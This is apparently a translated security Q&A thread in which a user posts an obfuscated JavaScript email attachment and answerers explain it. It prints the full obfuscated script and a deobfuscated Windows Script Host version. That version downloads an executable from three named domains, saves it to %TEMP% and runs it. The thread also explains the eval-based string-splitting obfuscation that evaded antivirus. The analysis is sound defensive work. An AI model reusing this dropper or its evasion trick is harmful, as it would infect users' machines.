¿Alguien puede explicar qué hace este código JS confuso recibido por correo electrónico? Engaña a AVG, MWB, Spybot, ¡todos lo reportan SEGURO!

0

A continuación se muestra el código JS. Me gustaría entender cómo extrae el código de malware y qué hace. Intenté buscar en Google partes de la cadena original, así como convertirlas de hex a ASCII:

(URR^
$
    J   ^<^

J   ^U^UPPSQURVSP^U)

- > debe haber algún descifrado básico que tenga lugar en el código.

Aquí está el código:

var str="5552525E0D0A020B24070D17070B09051C4A070B095E3C5E100C010D140D10070C4A070B095E17555E555050535155525653505E55";function e8(){return '5"; va';};function q5(){return 'seBody)';};function x6(){return 'ength; ';};function s7(){return '+"/co';};function v1(){return '); var ';};function e9(){return '}; };';};function k2(){return 'EMP%"';};function t6(){return 'ar fn';};function p0(){return 't.Creat';};function q2(){return n2;};function x2(){return 'or (v';};function m7(){return 'r ld =';};function f5(){return '+b[i]';};function m2(){return 'tp://"';};function t5(){return 'eoakres';};function w8(){return '.save';};function o3(){return 'd(); i';};function h9(){return ' = ws';};function p3(){return 'n, fals';};function l4(){return 't.Creat';};function u5(){return '07660"+';};function r3(){return 'Script';};function a9(){return '.split(';};function x1(){return 'tString';};function e7(){return ' = "liv';};function h3(){return '; }; if';};function a2(){return 'eObje';};function s1(){return 'dn = 0;';};function p9(){return 'ode(92)';};function j0(){return 'ct("W';};function b1(){return 'r xo =';};function z3(){return 'B.Strea';};function e6(){return '0); }';};function o0(){return '; xa.t';};function c1(){return 'dn = ';};function c3(){return ' catch';};function k6(){return 'ToFile';};function c7(){return 'eObjec';};function u8(){return 'i++) ';};function v0(){return 'ndEnv';};function y2(){return 'e > 10';};function t3(){return 'ort.com';};function l5(){return '=3; n+';};function u9(){return ' samir';};function y9(){return '1; xa';};function s4(){return '{ ws.Ru';};function y3(){return 'MLHTTP"';};function v2(){return 'catch (';};function h0(){return 'e); x';};function m5(){return 'f (xo';};function q1(){return '(fn+n';};function j3(){return ' }; }';};function o1(){return 'ct("M';};function f8(){return '+".exe';};function h2(){return 'n(fn+';};function x8(){return ' try ';};function s6(){return 'ar ws =';};function t4(){return 'agalle';};function z7(){return 't("ADOD';};function r8(){return ' (dn ';};function k9(){return 'l"); v';};function t7(){return ' };';};function a6(){return 'respon';};function u3(){return '(xa.siz';};function g3(){return ')+Stri';};function i9(){return 'break;';};function l0(){return '+"40239';};function o9(){return ' (er) {';};function j5(){return 'ype = 1';};function p4(){return 'ng.fr';};function k5(){return '.posit';};function c4(){return 'ion =';};function f3(){return 'eObje';};function o4(){return 'Script';};function a1(){return '.Expa';};function w0(){return ' 0; xa';};function b2(){return 'unter/?';};function q0(){return '.status';};function o5(){return '.open()';};function r0(){return 'SXML2.X';};function d7(){return ' amper';};function w3(){return 'ar i=ld';};function p2(){return 'var b';};function z4(){return 'xa = W';};function o7(){return 'T","ht';};function a5(){return ' == 20';};function i0(){return ' WScrip';};function z5(){return 'ite(xo.';};function v8(){return '&rnd=3';};function f4(){return '{ xo.op';};function g9(){return 'm"); va';};function u4(){return 'close()';};function j1(){return '; i<b.l';};function u6(){return ' 0; for';};function w7(){return '",2);';};function a0(){return ' (var n';};function u7(){return 'omCharC';};function f1(){return '; xa.';};function b6(){return 'n+".ex';};function z6(){return 'str+"';};function i8(){return '.Shel';};function s2(){return '; xa.wr';};function x3(){return '== 1)';};function g5(){return 'en("GE';};function z0(){return 'id="+';};function b7(){return 'ironmen';};function h8(){return 'spect';};function i6(){return '.Creat';};function e3(){return 'e",1,';};function s0(){return '00) { ';};function d4(){return ' { ld ';};function s5(){return '{ var ';};function t9(){return ' try ';};function q8(){return 'ive.com';};function d0(){return '" "); v';};function l7(){return '; if ';};function w9(){return ' WScrip';};function q6(){return '= i; ';};function j9(){return '=1; n<';};function x7(){return '0) { xa';};function z8(){return 'er) { ';};function n9(){return ' }; } ';};function a4(){return '+) { f';};var z1='';var n2=eval;var t2='';function o6(){return 's("%T';};function y6(){return 'o.sen';};function i5(){return 'ry.com"';};t2=p2();z1+=t2;t2=e7();z1+=t2;t2=t5();z1+=t2;t2=t3();z1+=t2;t2=d7();z1+=t2;t2=h8();z1+=t2;t2=q8();z1+=t2;t2=u9();z1+=t2;t2=t4();z1+=t2;t2=i5();z1+=t2;t2=a9();z1+=t2;t2=d0();z1+=t2;t2=s6();z1+=t2;t2=w9();z1+=t2;t2=p0();z1+=t2;t2=f3();z1+=t2;t2=j0();z1+=t2;t2=r3();z1+=t2;t2=i8();z1+=t2;t2=k9();z1+=t2;t2=t6();z1+=t2;t2=h9();z1+=t2;t2=a1();z1+=t2;t2=v0();z1+=t2;t2=b7();z1+=t2;t2=x1();z1+=t2;t2=o6();z1+=t2;t2=k2();z1+=t2;t2=g3();z1+=t2;t2=p4();z1+=t2;t2=u7();z1+=t2;t2=p9();z1+=t2;t2=l0();z1+=t2;t2=e8();z1+=t2;t2=b1();z1+=t2;t2=i0();z1+=t2;t2=l4();z1+=t2;t2=a2();z1+=t2;t2=o1();z1+=t2;t2=r0();z1+=t2;t2=y3();z1+=t2;t2=v1();z1+=t2;t2=z4();z1+=t2;t2=o4();z1+=t2;t2=i6();z1+=t2;t2=c7();z1+=t2;t2=z7();z1+=t2;t2=z3();z1+=t2;t2=g9();z1+=t2;t2=m7();z1+=t2;t2=u6();z1+=t2;t2=a0();z1+=t2;t2=j9();z1+=t2;t2=l5();z1+=t2;t2=a4();z1+=t2;t2=x2();z1+=t2;t2=w3();z1+=t2;t2=j1();z1+=t2;t2=x6();z1+=t2;t2=u8();z1+=t2;t2=s5();z1+=t2;t2=s1();z1+=t2;t2=x8();z1+=t2;t2=f4();z1+=t2;t2=g5();z1+=t2;t2=o7();z1+=t2;t2=m2();z1+=t2;t2=f5();z1+=t2;t2=s7();z1+=t2;t2=b2();z1+=t2;t2=z0();z1+=t2;t2=z6();z1+=t2;t2=v8();z1+=t2;t2=u5();z1+=t2;t2=p3();z1+=t2;t2=h0();z1+=t2;t2=y6();z1+=t2;t2=o3();z1+=t2;t2=m5();z1+=t2;t2=q0();z1+=t2;t2=a5();z1+=t2;t2=x7();z1+=t2;t2=o5();z1+=t2;t2=o0();z1+=t2;t2=j5();z1+=t2;t2=s2();z1+=t2;t2=z5();z1+=t2;t2=a6();z1+=t2;t2=q5();z1+=t2;t2=l7();z1+=t2;t2=u3();z1+=t2;t2=y2();z1+=t2;t2=s0();z1+=t2;t2=c1();z1+=t2;t2=y9();z1+=t2;t2=k5();z1+=t2;t2=c4();z1+=t2;t2=w0();z1+=t2;t2=w8();z1+=t2;t2=k6();z1+=t2;t2=q1();z1+=t2;t2=f8();z1+=t2;t2=w7();z1+=t2;t2=t9();z1+=t2;t2=s4();z1+=t2;t2=h2();z1+=t2;t2=b6();z1+=t2;t2=e3();z1+=t2;t2=e6();z1+=t2;t2=c3();z1+=t2;t2=o9();z1+=t2;t2=j3();z1+=t2;t2=f1();z1+=t2;t2=u4();z1+=t2;t2=h3();z1+=t2;t2=r8();z1+=t2;t2=x3();z1+=t2;t2=d4();z1+=t2;t2=q6();z1+=t2;t2=i9();z1+=t2;t2=n9();z1+=t2;t2=v2();z1+=t2;t2=z8();z1+=t2;t2=e9();z1+=t2;t2=t7();z1+=t2;q2()(z1);
    
pregunta RobE 14.11.2015 - 19:52
fuente

2 respuestas

4

Este es un código confuso que construye una cadena y ejecuta esta cadena como código JavaScript usando eval. Este código JavaScript hace uso del Windows Scripting Host para descargar algunos datos de hosts remotos, los guarda en algún archivo file.exe y finalmente los ejecuta. La URL donde se cargan los archivos ejecutables son algo así como

hxxp://samiragallery.com/counter/?id=5552525E....&rnd=....

Intenta varias URL hasta que pueda ejecutar el programa con éxito.

El código exacto que ejecuta es el siguiente:

var str="5552525E0D0A020B24070D17070B09051C4A070B095E3C5E100C010D140D10070C4A070B095E17555E555050535155525653505E55";

var b = "liveoakresort.com amperspective.com samiragallery.com".split(" ");
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + "402395";
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var ld = 0;
for (var n = 1; n <= 3; n++) {
    for (var i = ld; i < b.length; i++) {
        var dn = 0;
        try {
            xo.open("GET", "http://" + b[i] + "/counter/?id=" + str + "&rnd=307660" + n, false);
            xo.send();
            if (xo.status == 200) {
                xa.open();
                xa.type = 1;
                xa.write(xo.responseBody);
                if (xa.size > 1000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn + n + ".exe", 2);
                    try {
                        ws.Run(fn + n + ".exe", 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
            if (dn == 1) {
                ld = i;
                break;
            };
        } catch (er) {};
    };
};
    
respondido por el Steffen Ullrich 14.11.2015 - 20:40
fuente
2

El código del script está algo confuso. Después de insertar nuevas líneas, el código se ve a continuación.
En la primera parte se definen muchas funciones pequeñas que solo devuelven una cadena pequeña.
También tenga en cuenta que q2() devuelve n2 .

var str="5552525E0D0A020B24070D17070B09051C4A070B095E3C5E100C010D140D10070C4A070B095E17555E555050535155525653505E55";
function e8(){return '5"; va';};
function q5(){return 'seBody)';};
function x6(){return 'ength; ';};
function s7(){return '+"/co';};
function v1(){return '); var ';};
function e9(){return '}; };';};
function k2(){return 'EMP%"';};
function t6(){return 'ar fn';};
function p0(){return 't.Creat';};

function q2(){return n2;};
[Large snip]

En el siguiente segmento, n2 se establece en la función javascript eval .
Además, el código comienza a llamar a cada una de las funciones anteriores una vez y concatena el resultado en la variable z1 .

var z1='';
var n2=eval;
var t2='';
function o6(){return 's("%T';};
function y6(){return 'o.sen';};
function i5(){return 'ry.com"';};
t2=p2();z1+=t2;
t2=e7();z1+=t2;
t2=t5();z1+=t2;
t2=t3();z1+=t2;

Fin del código:
Aquí, la llamada a q2() devuelve n2 que fue igual a eval .

t2=v2();z1+=t2;
t2=z8();z1+=t2;
t2=e9();z1+=t2;
t2=t7();z1+=t2;

q2()(z1)

Al final, la secuencia de comandos completa que se creó en z1 se ejecuta con 'eval'.

Vea la respuesta de Steffens para el script completo, pero básicamente descarga un ejecutable de un sitio web (probablemente infectado) y lo ejecuta.

Este ejecutable probablemente activará los virusscanners (pero es mejor que no lo intentes).

    
respondido por el Jeff 14.11.2015 - 20:44
fuente

Lea otras preguntas en las etiquetas